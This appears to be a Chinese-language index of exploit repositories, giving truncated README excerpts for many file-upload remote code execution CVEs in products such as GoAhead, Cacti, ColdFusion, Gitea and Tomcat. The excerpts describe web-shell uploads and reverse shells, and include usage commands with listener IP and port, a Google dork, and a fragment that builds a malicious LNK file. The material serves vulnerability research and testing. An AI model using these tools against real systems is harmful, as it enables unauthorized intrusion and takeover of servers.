goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead Web服务器（v5.1.5 之前版本）RCE 利用 PoC（CVE-2021-42342） William Bowling 最近发现了 Goahead Web 服务器中的一个漏洞，可导致被利用服务器上的远程代码执行（RCE）。 该问题存在于 5.1.5 版本之前，根据 Shodan 统计，影响约 280 万台互联网服务器。 现在已经有了 CVE：https://nvd.nist.gov/vuln/detail/CVE-2021-42342 该 RCE 的成因是：如果启用了文件上传过滤器，那么用户不仅可以上传文件，还可以同时设置用户表单变量。...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936是一个严重漏洞（CVSS3评分10.0），导致WebHMI固件中的远程代码执行（RCE）。 该漏洞影响4.0版本及最新版本。 仅在4.0.7475上测试。脚本通过以下步骤利用漏洞： 1. 登录应用程序 2. 上传PHP代码执行脚本 3. 发送反向Shell有效负载 如果存在多个NIC，利用可能失败。解决方案是重试一次。 使用示例： python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80...

CVE-2024-25641

Cacti CVE-2024-25641 认证后包上传RCE概念验证（PoC） 该脚本是针对Cacti（一个基于Web的监控工具）中CVE-2024-25641漏洞的概念验证（PoC）。脚本自动执行与应用程序的身份验证、上传恶意包以及触发反向Shell的过程。 依赖 Python 3.x requests 库 argparse 库 re 库 你可以使用pip3安装所需的Python库： pip3 install requests pip3 install argparse pip3 install re 使用方式 （确保将 test.xml.gz 放在与 exploit.py 相同的目录...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 远程代码执行漏洞 此仓库包含针对 Adobe ColdFusion 2021 中远程代码执行漏洞的利用代码。 漏洞利用描述 该利用向 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反向 Shell 的 POST 请求。如果成功，Shell 将被上传至...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC 漏洞利用工具 该 Python 脚本利用 Nibbleblog 中的一个漏洞（CVE-2015-6967），向目标上传一个反向 Shell。脚本会接收用户输入的目标 URL、用户凭证以及你的主机 IP/端口，然后通过上传一个 PHP 反向 Shell 来触发漏洞。 免责声明 本脚本仅用于教育目的。严禁 将其用于非法活动。在测试或利用任何你不拥有或未获授权访问的系统上的漏洞之前，务必获得明确的许可。 依赖要求 Python 3.x requests 库 argparse 库 colorama 库 pyfigle...

CVE-2024-22393

利用 CVE-2024-22393 要利用此漏洞，请在任何照片上传部分上传我提供的照片。 lottapixel.jpg 参考链接： https://nvd.nist.gov/vuln/detail/CVE-2024-22393 https://www.openwall.com/lists/oss-security/2024/02/22/1 https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv...

CVE-2021-22005

CVE-2021-22005-metasploit 关于 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞的 metasploit 脚本（POC/EXP） 准备 POC git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp vmwarevcenterserverfileuploadpoc.py...

CVE-2024-22263_Scanner

CVE-2024-22263Scanner 仅用于道德使用，不允许任何有害或恶意活动。风险自负。 CVE-2024-22263：Spring Cloud Dataflow 任意文件写入 使用方法 ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ╚════██╗╚════██╗╚════██╗██╔════╝ ╚════██╗ ██║ █...

terraMaster-CVE-2022-24990

terraMaster-CVE-2022-24990 工具简介 针对 CVE-2022-24990 的快速利用工具，新手代码，有问题欢迎提issus 使用方法 main -u http://127.0.0.1:8181 -t pocexp poc 仅检测信息泄露漏洞 exp 尝试上传WebShell 免责声明 本工具仅面向合法授权的企业安全建设行为，例如企业内部攻防演练、漏洞验证和复测，如您需要测试本工具的可用性，请自行搭建靶机环境。 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。请勿对非授权目标使用。...

CVE-2025-24813

利用条件 DefaultServlet 写入功能启用：需在 web.xml 中配置 readonly=false Partial PUT 请求支持：Tomcat 默认支持分块上传 文件会话持久化启用：需在 context.xml 中配置 PersistentManager 和 FileStore 存在反序列化利用链：类路径下需包含存在漏洞的库 影响范围 9.0.0.M1 readonly false 2. 需要在conf/context.xml中，开启File文件会话存储 version: '3.8' services: tomcat: image:...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 在 Pluck-CMS v4.7.18 的组件 /inc/modulesinstall.php 中存在任意文件上传漏洞，攻击者可通过上传精心构造的 ZIP 文件来执行任意代码。此漏洞需经过认证。 免责声明：本代码仅供教育用途。 使用说明： usage: CVE-2023-50564.py -h -H TARGETHOST -u USER -p PASSWORD -lhost LHOST -lport LPORT 1. 将仓库克隆到你的工作目录 2. 进入新目录并运行脚本查看使用说明 3. 对目标运行脚本 致谢 感谢...

rsfiles-CVE-2026-57827

CVE-2026-57827 — RSFiles! 未授权文件上传 → RCE 免责声明 — 仅限授权使用。 这是一个概念验证 ，用于安全研究与防御性测试 。 你只能在自己拥有或获得明确书面许可 的系统上使用它。 未经同意对第三方进行滥用是违法的。负责任披露立场请参阅 SECURITY.md。 针对 Joomla 的 RSFiles! （comrsfiles）组件中 CVE-2026-57827 的漏洞利用程序 + 独立检测器，影响版本 1.17.12（已在 1.17.12 中修复，CVSS 9.8 / 10.0）。 前端上传分为两个任务： 1. rsfiles.checkupload ...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea 认证远程代码执行（RCE） 一个利用 CVE-2020-14144（GiTea 认证远程代码执行）的脚本，通过 Git 钩子实现攻击 功能特性 从 IP 和端口自动生成反向 Shell 载荷 使用 -f 选项上传自定义 Shell 脚本并在远程执行 使用用户名和密码自动登录 用法 $ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h / | CVE-2020-14144 | | | | | | | | | | |/ / | Authenticated Remote Code Execution | || |...

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC getshell: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e 验证: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

Peyara-FileUpload

漏洞利用标题：Peyara Remote Mouse v1.0.1 未经认证的任意文件上传 日期：2025-01-06 漏洞利用作者：tmrswrr 软件链接：https://peyara-remote-mouse.vercel.app/ 平台：Windows 版本：v1.0.1 测试环境：Windows 10 用法 : python3 combinedscript.py 创建恶意 LNK 文件 evil.lnk $WshShell = New-Object -ComObject WScript.Shell $Shortcut =...

CVE-2024-7399-POC

CVE-2024-7399 针对 CVE-2024-7399 的漏洞利用程序。 更多详情可在此处查看：https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 用法： python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...

ATutor-Instructor-Backup-Arbitrary-File

ATutor-Instructor-Backup-Exploit 漏洞名称: ATutor 2.2.4 '备份' 远程命令执行 CVE-2019-12170 Google Dork: inurl:/ATutor/login.php 日期: 2019年5月13日 漏洞作者: liquidsky Joseph McPeters 厂商主页: https://atutor.github.io/ 软件链接: https://sourceforge.net/projects/atutor/files/latest/download 版本: 2.2.4 版本2.2.4及更早版本似乎受影响 测试环境:...

CVE-2026-57827

CVE-2026-57827 — Componente RSFiles! de Joomla: RCE por subida de archivos no autenticada Bypass de subida por controlador dividido → Tarea de escritura directa → /downloads/shell.php → RCE Resumen CVE-2026-57827 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad...

CVE-2021-40845

CVE-2021-40845 I. 漏洞描述 AlphaWeb XE - 认证后的不安全文件上传导致远程代码执行（RCE） II. CVE 参考 CVE-2021-40845 III. 供应商 https://www.zenitel.com/ IV. 描述 Zenitel AlphaCom XE Audio Server（版本 11.2.3.10 及之前）的 Web 部分 AlphaWeb XE，在 php/index.php 的 Custom Scripts 部分未限制文件上传。上传文件的内容和扩展名均未经检查，允许在 /cmd/ 目录下执行 PHP 代码。 V. 漏洞利用 pytho...

php_filter_chain_generator

PHP 过滤器链生成器 一个用于生成 PHP 过滤器链的 CLI 工具：当你完全控制传递给 PHP 中 require 或 include 的参数时，无需上传文件即可获得 RCE！ 使用方法 帮助 $ python3 phpfilterchaingenerator.py --help usage: phpfilterchaingenerator.py -h --chain CHAIN --rawbase64 RAWBASE64 PHP filter chain generator. optional arguments: -h, --help show this help message...